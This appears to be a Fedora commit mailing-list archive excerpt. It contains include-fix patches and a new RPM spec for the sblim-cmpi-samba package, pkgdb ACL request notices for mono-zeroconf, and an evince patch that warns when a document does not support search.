diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old	2009-02-17 16:43:45.000000000 +0100
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp	2009-02-17 16:48:11.000000000 +0100
@@ -26,6 +26,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:43.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp	2009-02-17 16:53:22.000000000 +0100
@@ -29,6 +29,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:44.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp	2009-02-17 16:58:00.000000000 +0100
@@ -29,6 +29,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old	2007-08-27 10:18:52.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp	2009-02-17 17:05:31.000000000 +0100
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaGlobalPrintingForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:18:53.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp	2009-02-17 16:01:22.000000000 +0100
@@ -23,6 +23,7 @@
 //
 // 
 #include "Linux_SambaGlobalPrintingOptionsResourceAccess.h"
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp	2009-02-17 17:12:31.000000000 +0100
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaGlobalSecurityForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp	2009-02-17 16:04:48.000000000 +0100
@@ -23,6 +23,7 @@
 //
 // 
 #include "Linux_SambaGlobalSecurityOptionsResourceAccess.h"
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old	2007-08-27 10:18:57.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp	2009-02-17 17:18:27.000000000 +0100
@@ -25,6 +25,7 @@
 #include "Linux_SambaGroupForUserResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old	2007-08-27 10:18:56.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp	2009-02-17 16:26:09.000000000 +0100
@@ -25,6 +25,7 @@
 #include "Linux_SambaGroupResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old	2007-08-27 10:19:09.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp	2009-02-17 16:09:25.000000000 +0100
@@ -23,6 +23,7 @@
 //
 // 
 #include "Linux_SambaPrinterOptionsResourceAccess.h"
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old	2007-08-27 10:19:11.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp	2009-02-17 17:29:37.000000000 +0100
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaPrinterPrintingForPrinterResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:19:12.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp	2009-02-17 16:17:38.000000000 +0100
@@ -23,6 +23,7 @@
 //
 // 
 #include "Linux_SambaPrinterPrintingOptionsResourceAccess.h"
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp	2009-02-17 17:40:17.000000000 +0100
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaShareSecurityForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp	2009-02-17 17:48:56.000000000 +0100
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaShareSecurityForShareResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp	2009-02-17 16:21:53.000000000 +0100
@@ -23,6 +23,7 @@
 //
 // 
 #include "Linux_SambaShareSecurityOptionsResourceAccess.h"
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old	2007-08-27 10:19:26.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp	2009-02-17 16:30:26.000000000 +0100
@@ -25,6 +25,7 @@
 #include "Linux_SambaUserResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old	2006-07-22 16:34:26.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp	2009-02-17 15:53:00.000000000 +0100
@@ -25,6 +25,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-samba.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Name:           sblim-cmpi-samba
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Samba

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-samba-0.2.3-model.patch
Patch1:         sblim-cmpi-samba-0.5.2-1769647-release.patch
Patch2:         sblim-cmpi-samba-0.5.2-include.patch

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  sblim-cmpi-devel
BuildRequires:  dos2unix
Requires:       sblim-tools-libra
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       samba >= 3.0.10
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-samba = %{version}

%description
The cmpi-samba package provides access to the samba configuration data
via CIMOM technology/infrastructure.
It contains the Samba CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Samba - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM WBEM-SMT Samba Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Samba - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM WBEM-SMT Samba Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p0 -b .model
%patch1 -p0 -b .1769647-release
%patch2 -p2 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/sblim-cmpi-samba-%{_arch}.conf
dos2unix $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_smb_ra_test.py

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,0755)
%doc %{_datadir}/doc/%{name}-%{version}
%{_datadir}/sblim-cmpi-samba
%{_libdir}/libRaToolsSmb.so.*
%{_libdir}/libLinux_SmbGeneralProviderBasic.so.*
%{_libdir}/libIBM_SmbProviderTooling.so.*
%exclude %{_datadir}/%{name}/*.pyc
%exclude %{_datadir}/%{name}/*.pyo
%config(noreplace) %{_sysconfdir}/smt_smb*.conf
%{_libdir}/cmpi/libcmpiLinux_Samba*.so
%{_libdir}/cmpi/libcmpiCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_smb*.h
%{_libdir}/libRaToolsSmb.so
%{_libdir}/libLinux_SmbGeneralProviderBasic.so
%{_libdir}/libIBM_SmbProviderTooling.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/system/linux/Linux_Samba*
%{_datadir}/sblim-testsuite/cim/Linux_Samba*
%{_datadir}/sblim-testsuite/xml/Linux_Samba*
%{_datadir}/sblim-testsuite/smbpasswd
%{_datadir}/sblim-testsuite/smbusers
%{_datadir}/sblim-testsuite/smb.conf
%{_datadir}/sblim-testsuite/test-cmpi-samba.sh
%{_datadir}/sblim-testsuite/test-cmpi-samba-associations.pl

# Conditional definition of schema and registration files
%define SAMBA_SCHEMA %{_datadir}/%{name}/Linux_Samba.mof
%define SAMBA_REGISTRATION %{_datadir}/%{name}/Linux_Samba.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
%{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-samba/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:43:49 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:59:42 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-samba-0.5.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-samba/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:43:49 -0000	1.1
+++ sources	22 Oct 2009 12:59:42 -0000	1.2
@@ -0,0 +1 @@
+b847d8bc53e41a7d63d4fbf5d5ddffed  sblim-cmpi-samba-0.5.2.tar.bz2



From pkgdb at fedoraproject.org  Thu Oct 22 13:05:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:05:54 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested watchbugzilla
Message-ID: <20091022130555.08FF810F8B6@bastion2.fedora.phx.redhat.com>

palango has requested the watchbugzilla acl on mono-zeroconf (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:05:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:05:55 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested watchcommits
Message-ID: <20091022130555.ECF8010F8B9@bastion2.fedora.phx.redhat.com>

palango has requested the watchcommits acl on mono-zeroconf (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:05:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:05:59 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested approveacls
Message-ID: <20091022130559.2DFD510F8DE@bastion2.fedora.phx.redhat.com>

palango has requested the approveacls acl on mono-zeroconf (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:06:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:06:00 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested commit
Message-ID: <20091022130601.194BA10F8E1@bastion2.fedora.phx.redhat.com>

palango has requested the commit acl on mono-zeroconf (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:06:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:06:12 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested watchbugzilla
Message-ID: <20091022130612.B46B610F8BF@bastion2.fedora.phx.redhat.com>

palango has requested the watchbugzilla acl on mono-zeroconf (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:06:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:06:13 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested watchcommits
Message-ID: <20091022130614.187CF10F8EB@bastion2.fedora.phx.redhat.com>

palango has requested the watchcommits acl on mono-zeroconf (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:06:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:06:15 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested commit
Message-ID: <20091022130615.9C76210F8EE@bastion2.fedora.phx.redhat.com>

palango has requested the commit acl on mono-zeroconf (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From pkgdb at fedoraproject.org  Thu Oct 22 13:06:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 13:06:17 +0000
Subject: [pkgdb] mono-zeroconf: palango has requested approveacls
Message-ID: <20091022130617.977E910F8C5@bastion2.fedora.phx.redhat.com>

palango has requested the approveacls acl on mono-zeroconf (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono-zeroconf



From mclasen at fedoraproject.org  Thu Oct 22 13:18:08 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 22 Oct 2009 13:18:08 +0000 (UTC)
Subject: rpms/evince/F-12
	0001-Provide-some-indication-that-search-is-not-available.patch,
	NONE, 1.1 evince.spec, 1.170, 1.171
Message-ID: <20091022131809.047A911C008C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/evince/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2254

Modified Files:
	evince.spec 
Added Files:
	0001-Provide-some-indication-that-search-is-not-available.patch 
Log Message:
Add an indication if search is unavailable.


0001-Provide-some-indication-that-search-is-not-available.patch:
 data/evince-ui.xml |    1 +
 shell/ev-window.c  |   16 ++++++----------
 2 files changed, 7 insertions(+), 10 deletions(-)

--- NEW FILE 0001-Provide-some-indication-that-search-is-not-available.patch ---
>From d57f2d993a242da4c62b2692795ce86185c348f7 Mon Sep 17 00:00:00 2001
From: Marek Kasik <mkasik at redhat.com>
Date: Thu, 22 Oct 2009 13:44:22 +0200
Subject: [PATCH] Provide some indication that search is not available

Show warning message when pressing "Ctrl-F" or "/"
in a non-searchable document (#596888).
---
 data/evince-ui.xml |    1 +
 shell/ev-window.c  |   15 ++++++---------
 2 files changed, 7 insertions(+), 9 deletions(-)

diff --git a/data/evince-ui.xml b/data/evince-ui.xml
index 7ac4edb..3fe2a6d 100644
--- a/data/evince-ui.xml
+++ b/data/evince-ui.xml
@@ -94,6 +94,7 @@
   <accelerator name="GoBackwardFastAccel" action="GoBackwardFast"/>
   <accelerator name="GoForwardFastAccel" action="GoForwardFast"/>
   <accelerator name="EscapeAccel" action="Escape"/>
+  <accelerator name="CtrlFAccel" action="CtrlF"/>
   <accelerator name="SlashAccel" action="Slash"/>
   <accelerator name="F3Accel" action="F3"/>
   <accelerator name="SpaceAccel" action="Space"/>
diff --git a/shell/ev-window.c b/shell/ev-window.c
index f4974e3..49a2058 100644
--- a/shell/ev-window.c
+++ b/shell/ev-window.c
@@ -397,7 +397,8 @@ ev_window_setup_action_sensitivity (EvWindow *ev_window)
         /* Edit menu */
 	ev_window_set_action_sensitive (ev_window, "EditSelectAll", has_pages && can_get_text);
 	ev_window_set_action_sensitive (ev_window, "EditFind", can_find);
-	ev_window_set_action_sensitive (ev_window, "Slash", can_find);
+	ev_window_set_action_sensitive (ev_window, "Slash", has_document);
+	ev_window_set_action_sensitive (ev_window, "CtrlF", !can_find && has_document);
 	ev_window_set_action_sensitive (ev_window, "EditRotateLeft", has_pages);
 	ev_window_set_action_sensitive (ev_window, "EditRotateRight", has_pages);
 
@@ -490,11 +491,6 @@ ev_window_update_actions (EvWindow *ev_window)
 static void
 ev_window_set_view_accels_sensitivity (EvWindow *window, gboolean sensitive)
 {
-	gboolean can_find;
-
-	can_find = window->priv->document && 
-	    EV_IS_DOCUMENT_FIND (window->priv->document);
-
 	if (window->priv->action_group) {
 		ev_window_set_action_sensitive (window, "PageDown", sensitive);
 		ev_window_set_action_sensitive (window, "PageUp", sensitive);
@@ -509,8 +505,6 @@ ev_window_set_view_accels_sensitivity (EvWindow *window, gboolean sensitive)
 		ev_window_set_action_sensitive (window, "KpPlus", sensitive);
 		ev_window_set_action_sensitive (window, "KpMinus", sensitive);
 		ev_window_set_action_sensitive (window, "Equal", sensitive);
-
-		ev_window_set_action_sensitive (window, "Slash", sensitive && can_find);
 	}
 }
 
@@ -3210,7 +3204,8 @@ ev_window_cmd_edit_find (GtkAction *action, EvWindow *ev_window)
         g_return_if_fail (EV_IS_WINDOW (ev_window));
 
 	if (ev_window->priv->document == NULL || !EV_IS_DOCUMENT_FIND (ev_window->priv->document)) {
-		g_error ("Find action should be insensitive since document doesn't support find");
+		ev_window_warning_message (ev_window, "%s",
+					   _("The document doesn't support search"));
 		return;
 	} 
 
@@ -4925,6 +4920,8 @@ static const GtkActionEntry entries[] = {
 	  G_CALLBACK (ev_window_cmd_escape) },
         { "Slash", GTK_STOCK_FIND, NULL, "slash", NULL,
           G_CALLBACK (ev_window_cmd_edit_find) },
+        { "CtrlF", NULL, NULL, "<control>F", NULL,
+          G_CALLBACK (ev_window_cmd_edit_find) },
         { "F3", NULL, "", "F3", NULL,
           G_CALLBACK (ev_window_cmd_edit_find_next) },
         { "PageDown", NULL, "", "Page_Down", NULL,
-- 
1.6.2.5



Index: evince.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/evince.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- evince.spec	20 Oct 2009 16:04:33 -0000	1.170
+++ evince.spec	22 Oct 2009 13:18:08 -0000	1.171
@@ -6,7 +6,7 @@
 
 Name:		evince
 Version:	2.28.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Document viewer
 
 License:	GPLv2+ and GFDL
@@ -16,6 +16,10 @@ Source0:	http://download.gnome.org/sourc
 Patch0:		evince-pdf-print-revert.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=455759
 # Patch1:		duplex-copies.patch
+
+# https://bugzilla.gnome.org/show_bug.cgi?id=596888
+Patch1:         0001-Provide-some-indication-that-search-is-not-available.patch
+
